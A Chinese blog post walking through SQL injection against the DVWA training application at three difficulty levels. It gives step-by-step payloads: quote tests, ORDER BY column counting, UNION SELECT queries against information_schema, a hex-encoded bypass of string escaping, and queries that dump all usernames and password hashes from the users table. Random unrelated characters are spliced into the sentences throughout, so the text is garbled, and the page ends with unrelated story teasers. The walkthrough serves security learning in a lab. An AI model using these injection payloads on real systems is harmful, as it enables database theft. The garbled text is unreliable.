DVWA-SQL Injection(SQL注入)

本系列文集:DVWA學習筆記

SQL注入,是指攻擊者通過注入惡意的SQL命令侨嘀,破壞SQL查詢語句的結(jié)構(gòu),從而達到執(zhí)行惡意SQL語句的目的捂襟。SQL注入漏洞的危害是巨大的咬腕,常常會導致整個數(shù)據(jù)庫被“脫褲”,盡管如此葬荷,SQL注入仍是現(xiàn)在最常見的Web漏洞之一涨共。

SQL 注入分類
按SQLMap中的分類來看,SQL注入類型有以下 5 種:
 UNION query SQL injection(可聯(lián)合查詢注入) 
 Stacked queries SQL injection(可多語句查詢注入)
 Boolean-based blind SQL injection(布爾型注入) 
 Error-based SQL injection(報錯型注入)
 Time-based blind SQL injection(基于時間延遲注入)
SQL 注入常規(guī)利用思路:
1宠漩、尋找注入點举反,可以通過 web 掃描工具實現(xiàn) 
2、通過注入點扒吁,嘗試獲得關于連接數(shù)據(jù)庫用戶名火鼻、數(shù)據(jù)庫名稱、連接數(shù)據(jù)庫用戶權(quán)限雕崩、操作系統(tǒng)信息魁索、數(shù)據(jù)庫版本等相關信息。 
3盼铁、猜解關鍵數(shù)據(jù)庫表及其重要字段與內(nèi)容(常見如存放管理員賬戶的表名粗蔚、字段名等信息)
4、可以通過獲得的用戶信息饶火,尋找后臺登錄支鸡。 
5冬念、利用后臺或了解的進一步信息趁窃,上傳 webshell 或向數(shù)據(jù)庫寫入一句話木馬牧挣,以進一步提權(quán),直到拿到服務器權(quán)限醒陆。
手工注入常規(guī)思路:
1.判斷是否存在注入瀑构,注入是字符型還是數(shù)字型 
2.猜解 SQL 查詢語句中的字段數(shù)
3.確定顯示的字段順序 
4.獲取當前數(shù)據(jù)庫 
5.獲取數(shù)據(jù)庫中的表 
6.獲取表中的字段名 
7.查詢到賬戶的數(shù)據(jù)

Low:

clipboard.png

分析:
由代碼可知,通過REQUEST方式接受傳遞的參數(shù)id刨摩,再通過sql語句帶入查詢寺晌,并未設置任何過濾,因此可以進行sql注入利用澡刹。
常見注入測試的POC:

696b3a686ae1.png

1.判斷是否存在注入呻征,注入是字符型還是數(shù)字型

當輸入的參數(shù)為字符串時,稱為字符型罢浇。字符型和數(shù)字型最大的一個區(qū)別在于陆赋,數(shù)字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的嚷闭。

輸入1攒岛,查詢成功:

clipboard (1).png

輸入1'and '1' ='2,查詢失敗胞锰,返回結(jié)果為空:

clipboard (2).png

輸入1' or '1'='1 頁面正常灾锯,并返回更多信息,成功查詢

clipboard (3).png

判斷存在的是字符型注入嗅榕。

2.猜解SQL查詢語句中的字段數(shù)

輸入1′ or 1=1 order by 1 #顺饮,查詢成功: #是注釋作用

clipboard (4).png

輸入1′ or 1=1 order by 2 #,查詢成功: #是注釋作用

clipboard (5).png

輸入1′ or 1=1 order by 3 #凌那,查詢失敿嫘邸: #是注釋作用

clipboard (6).png

說明執(zhí)行的SQL查詢語句中只有兩個字段,即這里的First name案怯、Surname君旦。

3.確定顯示的字段順序

輸入1′ union select 1,2 #,查詢成功: #是注釋作用

clipboard (7).png

說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=’id’…

4.獲取當前數(shù)據(jù)庫
輸入1' union select 1,database() #嘲碱,查詢成功:#是注釋作用

clipboard (8).png

說明當前的數(shù)據(jù)庫為dvwa金砍。

5.獲取數(shù)據(jù)庫中的表

輸入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功: #是注釋作用

clipboard (9).png

說明數(shù)據(jù)庫dvwa中一共有兩個表麦锯,guestbook與users恕稠。

6.獲取表中的字段名

輸入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查詢成功: #是注釋作用

clipboard (10).png

說明users表中有8個字段扶欣,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login鹅巍。

7.下載數(shù)據(jù)

輸入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #千扶,查詢成功: #是注釋作用

clipboard (11).png

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。

Medium:

分析:
Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號\x00,\n,\r,,’,”,\x1a進行轉(zhuǎn)義骆捧,同時前端頁面設置了下拉選擇表單澎羞,希望以此來控制用戶的輸入。

clipboard (12).png

漏洞利用
雖然前端使用了下拉選擇菜單敛苇,但我們依然可以通過抓包改參數(shù)妆绞,提交惡意構(gòu)造的查詢參數(shù)。

1.判斷是否存在注入枫攀,注入是字符型還是數(shù)字型

抓包更改參數(shù)id為1′ or 1=1 # 報錯: #是注釋作用

clipboard (13).png

抓包更改參數(shù)id為1 or 1=1 #括饶,查詢成功:

clipboard (14).png

說明存在數(shù)字型注入。
(由于是數(shù)字型注入来涨,服務器端的mysql_real_escape_string函數(shù)就形同虛設了图焰,因為數(shù)字型注入并不需要借助引號。)

2.猜解SQL查詢語句中的字段數(shù)

抓包更改參數(shù)id為1 order by 2 #蹦掐,查詢成功:

clipboard (15).png

抓包更改參數(shù)id為1 order by 3 #技羔,報錯:

clipboard (16).png

說明執(zhí)行的SQL查詢語句中只有兩個字段,即這里的First name笤闯、Surname堕阔。

3.確定顯示的字段順序

抓包更改參數(shù)id為1 union select 1,2 #,查詢成功:

clipboard (17).png

說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=id…

4.獲取當前數(shù)據(jù)庫

抓包更改參數(shù)id為1 union select 1,database() #颗味,查詢成功:

clipboard (18).png

說明當前的數(shù)據(jù)庫為dvwa超陆。

5.獲取數(shù)據(jù)庫中的表

抓包更改參數(shù)id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:

clipboard (19).png

說明數(shù)據(jù)庫dvwa中一共有兩個表浦马,guestbook與users时呀。

6.獲取表中的字段名

抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#,查詢失斁:

clipboard (20).png

這是因為單引號被轉(zhuǎn)義了谨娜,變成了\’』嵌福可以利用16進制進行繞過 ''

抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #趴梢,查詢成功:

clipboard (21).png

說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login币他。

7.下載數(shù)據(jù)

抓包修改參數(shù)id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #坞靶,查詢成功:

clipboard (22).png

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。

High:

clipboard (23).png

分析:
與Medium級別的代碼相比蝴悉,High級別的只是在SQL查詢語句中添加了LIMIT 1彰阴,希望以此控制只輸出一個結(jié)果。

漏洞利用:
雖然添加了LIMIT 1拍冠,但是我們可以通過#將其注釋掉尿这。由于手工注入的過程與Low級別基本一樣簇抵,直接最后一步演示下載數(shù)據(jù)。

輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #射众,查詢成功:

clipboard (24).png

特別注意:High級別的查詢提交頁面與查詢結(jié)果顯示頁面不是同一個碟摆,也沒有執(zhí)行302跳轉(zhuǎn),這樣做的目的是為了防止一般的sqlmap注入责球,因為sqlmap在注入過程中焦履,無法在查詢提交頁面上獲取查詢的結(jié)果,沒有了反饋雏逾,也就沒辦法進一步注入。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末郑临,一起剝皮案震驚了整個濱河市栖博,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌厢洞,老刑警劉巖仇让,帶你破解...
    沈念sama閱讀 221,548評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異躺翻,居然都是意外死亡丧叽,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,497評論 3 399
  • 文/潘曉璐 我一進店門公你,熙熙樓的掌柜王于貴愁眉苦臉地迎上來踊淳,“玉大人,你說我怎么就攤上這事陕靠∮爻ⅲ” “怎么了?”我有些...
    開封第一講書人閱讀 167,990評論 0 360
  • 文/不壞的土叔 我叫張陵剪芥,是天一觀的道長垄开。 經(jīng)常有香客問我,道長税肪,這世上最難降的妖魔是什么溉躲? 我笑而不...
    開封第一講書人閱讀 59,618評論 1 296
  • 正文 為了忘掉前任,我火速辦了婚禮益兄,結(jié)果婚禮上锻梳,老公的妹妹穿的比我還像新娘。我一直安慰自己偏塞,他們只是感情好唱蒸,可當我...
    茶點故事閱讀 68,618評論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著灸叼,像睡著了一般神汹。 火紅的嫁衣襯著肌膚如雪庆捺。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,246評論 1 308
  • 那天屁魏,我揣著相機與錄音滔以,去河邊找鬼。 笑死氓拼,一個胖子當著我的面吹牛你画,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播桃漾,決...
    沈念sama閱讀 40,819評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼坏匪,長吁一口氣:“原來是場噩夢啊……” “哼党远!你這毒婦竟也來了摘能?” 一聲冷哼從身側(cè)響起郑气,我...
    開封第一講書人閱讀 39,725評論 0 276
  • 序言:老撾萬榮一對情侶失蹤性含,失蹤者是張志新(化名)和其女友劉穎蓖扑,沒想到半個月后伴鳖,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體摊聋,經(jīng)...
    沈念sama閱讀 46,268評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡晦炊,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,356評論 3 340
  • 正文 我和宋清朗相戀三年苦囱,在試婚紗的時候發(fā)現(xiàn)自己被綠了嗅绸。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,488評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡撕彤,死狀恐怖鱼鸠,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情喉刘,我是刑警寧澤瞧柔,帶...
    沈念sama閱讀 36,181評論 5 350
  • 正文 年R本政府宣布,位于F島的核電站睦裳,受9級特大地震影響造锅,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜廉邑,卻給世界環(huán)境...
    茶點故事閱讀 41,862評論 3 333
  • 文/蒙蒙 一哥蔚、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧蛛蒙,春花似錦糙箍、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,331評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春咕晋,著一層夾襖步出監(jiān)牢的瞬間雹拄,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,445評論 1 272
  • 我被黑心中介騙來泰國打工掌呜, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留滓玖,地道東北人。 一個月前我還...
    沈念sama閱讀 48,897評論 3 376
  • 正文 我出身青樓质蕉,卻偏偏與公主長得像势篡,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子模暗,可洞房花燭夜當晚...
    茶點故事閱讀 45,500評論 2 359

推薦閱讀更多精彩內(nèi)容